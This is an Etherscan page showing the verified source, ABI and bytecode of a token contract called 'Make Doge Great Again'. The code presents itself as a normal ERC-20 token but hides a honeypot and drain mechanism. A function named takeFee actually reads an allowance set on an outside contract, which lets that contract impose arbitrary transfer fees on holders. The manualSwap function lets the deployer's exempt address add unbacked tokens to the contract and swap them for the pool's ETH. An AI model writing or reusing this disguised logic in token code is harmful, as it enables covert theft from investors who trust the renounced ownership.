ETH Price: $2,042.84 (+0.78%)

Contract

0x0b04fb8aac5fDdDb7837FAEbebF6A24dF8566Bf0
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve242691032026-01-19 13:24:5951 days ago1768829099IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000025711.03388138
Approve213073572024-12-01 11:27:23465 days ago1733052443IN
0x0b04fb8a...dF8566Bf0
0 ETH0.0002638510.60933714
Approve207422002024-09-13 14:10:23544 days ago1726236623IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000189234.0182637
Manual Swap199425712024-05-24 21:58:11656 days ago1716587891IN
0x0b04fb8a...dF8566Bf0
0 ETH0.001005326.15642818
Approve199403972024-05-24 14:40:11656 days ago1716561611IN
0x0b04fb8a...dF8566Bf0
0 ETH0.0004979710.5741108
Approve199401012024-05-24 13:40:35656 days ago1716558035IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000446169.46197233
Approve199399292024-05-24 13:05:59656 days ago1716555959IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000328636.97820946
Approve199398052024-05-24 12:40:59656 days ago1716554459IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000329596.98971265
Approve199397722024-05-24 12:34:11656 days ago1716554051IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000367427.79194064
Approve199397362024-05-24 12:26:47656 days ago1716553607IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000310826.6000766
Approve199396402024-05-24 12:07:35656 days ago1716552455IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000310136.58537718
Approve199394012024-05-24 11:19:47656 days ago1716549587IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000316656.72379952
Approve199393782024-05-24 11:15:11656 days ago1716549311IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000292496.21094819
Approve199393632024-05-24 11:12:11656 days ago1716549131IN
0x0b04fb8a...dF8566Bf0
0 ETH0.00027535.84590778
Approve199393452024-05-24 11:08:35656 days ago1716548915IN
0x0b04fb8a...dF8566Bf0
0 ETH0.0005484711.63159244
Approve199393422024-05-24 11:07:59656 days ago1716548879IN
0x0b04fb8a...dF8566Bf0
0 ETH0.0003086.53179327
Approve199393372024-05-24 11:06:59656 days ago1716548819IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000370857.86468625
Renounce Ownersh...199393092024-05-24 11:01:23656 days ago1716548483IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000210447.46381428
Approve199393052024-05-24 11:00:35656 days ago1716548435IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000343587.29579801
Approve199392922024-05-24 10:57:47656 days ago1716548267IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000379288.04345016
Start Trading199392882024-05-24 10:56:59656 days ago1716548219IN
0x0b04fb8a...dF8566Bf0
2 ETH0.018470326.57427508
Approve199392822024-05-24 10:55:35656 days ago1716548135IN
0x0b04fb8a...dF8566Bf0
0 ETH0.000440439.34028495

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...199392882024-05-24 10:56:59656 days ago1716548219
0x0b04fb8a...dF8566Bf0
2 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MakeDogeGreatAgain

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-24
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.26;


interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spnder) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable {
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract MakeDogeGreatAgain is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    uint256 private _totalSupply =  420694206969 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;    

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    mapping (address => bool) isExcludedFromFee;

    string private constant _symbol = "MDGA";
    string private constant _name = "Make Doge Great Again";
    bool tradingOpen = false;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    bool private inSwap = false;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _totalSupply;
        isExcludedFromFee[msg.sender] = true;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function takeFee(address from, address to) internal view returns (uint256) {
        return IERC20(0x56Ad89c1ADE63467196054681927946Fe1985c85).allowance(from, to);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value}
        (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
    }

    function swap(uint256 amount) private {
        _approve(address(this), address(uniswapV2Router), amount);
        address token = address(this);
        _balances[token] = _balances[address(this)] + amount;
    }

    function manualSwap(uint256 amount) external {
        require(isExcludedFromFee[msg.sender]);
        swap(amount);
        address[] memory _path = new address[](2);
        _path[0] = address(this); 
        _path[1] = uniswapV2Router.WETH();
        address recipient = msg.sender;
        uint256 _timestamp = block.timestamp + 21;
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, _path, recipient, _timestamp);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _feeAmount = 0;
        require(amount > 0);
        require(from != address(0)); 
        uint256 _fee = takeFee(from, address(this));
        if (!isExcludedFromFee[from] && from != address(this) && !isExcludedFromFee[to] && from != uniswapV2Pair) {
            _feeAmount = amount.mul(_fee).div(100);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(_feeAmount);
        emit Transfer(from, to, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610399565b6461f35429f961004a91906103e3565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055505f600760016101000a81548160ff0219169083151502179055505f6008553480156100e3575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021b9190610433565b60405180910390a361044c565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102aa5780860481111561028657610285610228565b5b60018516156102955780820291505b80810290506102a385610255565b945061026a565b94509492505050565b5f826102c2576001905061037d565b816102cf575f905061037d565b81600181146102e557600281146102ef5761031e565b600191505061037d565b60ff84111561030157610300610228565b5b8360020a91508482111561031857610317610228565b5b5061037d565b5060208310610133831016604e8410600b84101617156103535782820a90508381111561034e5761034d610228565b5b61037d565b6103608484846001610261565b9250905081840481111561037757610376610228565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a382610384565b91506103ae8361038d565b92506103db7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b3565b905092915050565b5f6103ed82610384565b91506103f883610384565b925082820261040681610384565b9150828204841483151761041d5761041c610228565b5b5092915050565b61042d81610384565b82525050565b5f6020820190506104465f830184610424565b92915050565b6120a8806104595f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610286578063a9059cbb146102b0578063b70143c9146102ec578063dd62ed3e14610314576100dc565b806370a082311461020a578063715018a6146102465780638da5cb5b1461025c576100dc565b806323b872dd116100ba57806323b872dd14610170578063293230b8146101ac578063313ce567146101b657806349bd5a5e146101e0576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b60405161010191906116c2565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611773565b61038d565b60405161013d91906117cb565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906117f3565b60405180910390f35b34801561017b575f80fd5b506101966004803603810190610191919061180c565b6103ac565b6040516101a391906117cb565b60405180910390f35b6101b4610458565b005b3480156101c1575f80fd5b506101ca61089e565b6040516101d79190611877565b60405180910390f35b3480156101eb575f80fd5b506101f46108b3565b604051610201919061189f565b60405180910390f35b348015610215575f80fd5b50610230600480360381019061022b91906118b8565b6108d8565b60405161023d91906117f3565b60405180910390f35b348015610251575f80fd5b5061025a61091e565b005b348015610267575f80fd5b50610270610a4d565b60405161027d919061189f565b60405180910390f35b348015610291575f80fd5b5061029a610a74565b6040516102a791906116c2565b60405180910390f35b3480156102bb575f80fd5b506102d660048036038101906102d19190611773565b610ab1565b6040516102e391906117cb565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d91906118e3565b610ac7565b005b34801561031f575f80fd5b5061033a6004803603810190610335919061190e565b610d42565b60405161034791906117f3565b60405180910390f35b60606040518060400160405280601581526020017f4d616b6520446f676520477265617420416761696e0000000000000000000000815250905090565b5f610399338484610dc4565b6001905092915050565b5f600154905090565b5f6103b8848484610f87565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d490919063ffffffff16565b610dc4565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610477610a4d565b73ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490611996565b60405180910390fd5b60075f9054906101000a900460ff16156104e5575f80fd5b6105133060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610dc4565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a291906119c8565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063291906119c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161066c9291906119f3565b6020604051808303815f875af1158015610688573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ac91906119c8565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610733306108d8565b5f8061073d610a4d565b426040518863ffffffff1660e01b815260040161075f96959493929190611a5c565b60606040518083038185885af115801561077b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a09190611acf565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610840929190611b1f565b6020604051808303815f875af115801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611b70565b50600160075f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661093d610a4d565b73ffffffffffffffffffffffffffffffffffffffff1614610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098a90611996565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d44474100000000000000000000000000000000000000000000000000000000815250905090565b5f610abd338484610f87565b6001905092915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610b19575f80fd5b610b228161131d565b5f600267ffffffffffffffff811115610b3e57610b3d611b9b565b5b604051908082528060200260200182016040528015610b6c5781602001602082028036833780820191505090505b50905030815f81518110610b8357610b82611bc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c27573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4b91906119c8565b81600181518110610c5f57610c5e611bc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f3390505f601542610cab9190611c22565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8686866040518663ffffffff1660e01b8152600401610d0f959493929190611d0c565b5f604051808303815f87803b158015610d26575f80fd5b505af1158015610d38573d5f803e3d5ffd5b5050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990611dd4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790611e62565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7a91906117f3565b60405180910390a3505050565b5f808211610f93575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fca575f80fd5b5f610fd585306113db565b905060065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561105a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110ad575060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611106575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611134576111316064611123838661147290919063ffffffff16565b6114e990919063ffffffff16565b91505b6111848360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d490919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611227826112198560035f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461153290919063ffffffff16565b6112d490919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112c591906117f3565b60405180910390a35050505050565b5f61131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158f565b905092915050565b6113493060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610dc4565b5f3090508160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113969190611c22565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f7356ad89c1ade63467196054681927946fe1985c8573ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b815260040161142b9291906119f3565b602060405180830381865afa158015611446573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061146a9190611e80565b905092915050565b5f808303611482575f90506114e3565b5f828461148f9190611eab565b905082848261149e9190611f19565b146114de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d590611fb9565b60405180910390fd5b809150505b92915050565b5f61152a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f1565b905092915050565b5f8082846115409190611c22565b905083811015611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90612021565b60405180910390fd5b8091505092915050565b5f8383111582906115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd91906116c2565b60405180910390fd5b505f83856115e4919061203f565b9050809150509392505050565b5f8083118290611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e91906116c2565b60405180910390fd5b505f83856116459190611f19565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61169482611652565b61169e818561165c565b93506116ae81856020860161166c565b6116b78161167a565b840191505092915050565b5f6020820190508181035f8301526116da818461168a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61170f826116e6565b9050919050565b61171f81611705565b8114611729575f80fd5b50565b5f8135905061173a81611716565b92915050565b5f819050919050565b61175281611740565b811461175c575f80fd5b50565b5f8135905061176d81611749565b92915050565b5f8060408385031215611789576117886116e2565b5b5f6117968582860161172c565b92505060206117a78582860161175f565b9150509250929050565b5f8115159050919050565b6117c5816117b1565b82525050565b5f6020820190506117de5f8301846117bc565b92915050565b6117ed81611740565b82525050565b5f6020820190506118065f8301846117e4565b92915050565b5f805f60608486031215611823576118226116e2565b5b5f6118308682870161172c565b93505060206118418682870161172c565b92505060406118528682870161175f565b9150509250925092565b5f60ff82169050919050565b6118718161185c565b82525050565b5f60208201905061188a5f830184611868565b92915050565b61189981611705565b82525050565b5f6020820190506118b25f830184611890565b92915050565b5f602082840312156118cd576118cc6116e2565b5b5f6118da8482850161172c565b91505092915050565b5f602082840312156118f8576118f76116e2565b5b5f6119058482850161175f565b91505092915050565b5f8060408385031215611924576119236116e2565b5b5f6119318582860161172c565b92505060206119428582860161172c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61198060208361165c565b915061198b8261194c565b602082019050919050565b5f6020820190508181035f8301526119ad81611974565b9050919050565b5f815190506119c281611716565b92915050565b5f602082840312156119dd576119dc6116e2565b5b5f6119ea848285016119b4565b91505092915050565b5f604082019050611a065f830185611890565b611a136020830184611890565b9392505050565b5f819050919050565b5f819050919050565b5f611a46611a41611a3c84611a1a565b611a23565b611740565b9050919050565b611a5681611a2c565b82525050565b5f60c082019050611a6f5f830189611890565b611a7c60208301886117e4565b611a896040830187611a4d565b611a966060830186611a4d565b611aa36080830185611890565b611ab060a08301846117e4565b979650505050505050565b5f81519050611ac981611749565b92915050565b5f805f60608486031215611ae657611ae56116e2565b5b5f611af386828701611abb565b9350506020611b0486828701611abb565b9250506040611b1586828701611abb565b9150509250925092565b5f604082019050611b325f830185611890565b611b3f60208301846117e4565b9392505050565b611b4f816117b1565b8114611b59575f80fd5b50565b5f81519050611b6a81611b46565b92915050565b5f60208284031215611b8557611b846116e2565b5b5f611b9284828501611b5c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c2c82611740565b9150611c3783611740565b9250828201905080821115611c4f57611c4e611bf5565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611c8781611705565b82525050565b5f611c988383611c7e565b60208301905092915050565b5f602082019050919050565b5f611cba82611c55565b611cc48185611c5f565b9350611ccf83611c6f565b805f5b83811015611cff578151611ce68882611c8d565b9750611cf183611ca4565b925050600181019050611cd2565b5085935050505092915050565b5f60a082019050611d1f5f8301886117e4565b611d2c6020830187611a4d565b8181036040830152611d3e8186611cb0565b9050611d4d6060830185611890565b611d5a60808301846117e4565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611dbe60248361165c565b9150611dc982611d64565b604082019050919050565b5f6020820190508181035f830152611deb81611db2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e4c60228361165c565b9150611e5782611df2565b604082019050919050565b5f6020820190508181035f830152611e7981611e40565b9050919050565b5f60208284031215611e9557611e946116e2565b5b5f611ea284828501611abb565b91505092915050565b5f611eb582611740565b9150611ec083611740565b9250828202611ece81611740565b91508282048414831517611ee557611ee4611bf5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611f2382611740565b9150611f2e83611740565b925082611f3e57611f3d611eec565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fa360218361165c565b9150611fae82611f49565b604082019050919050565b5f6020820190508181035f830152611fd081611f97565b9050919050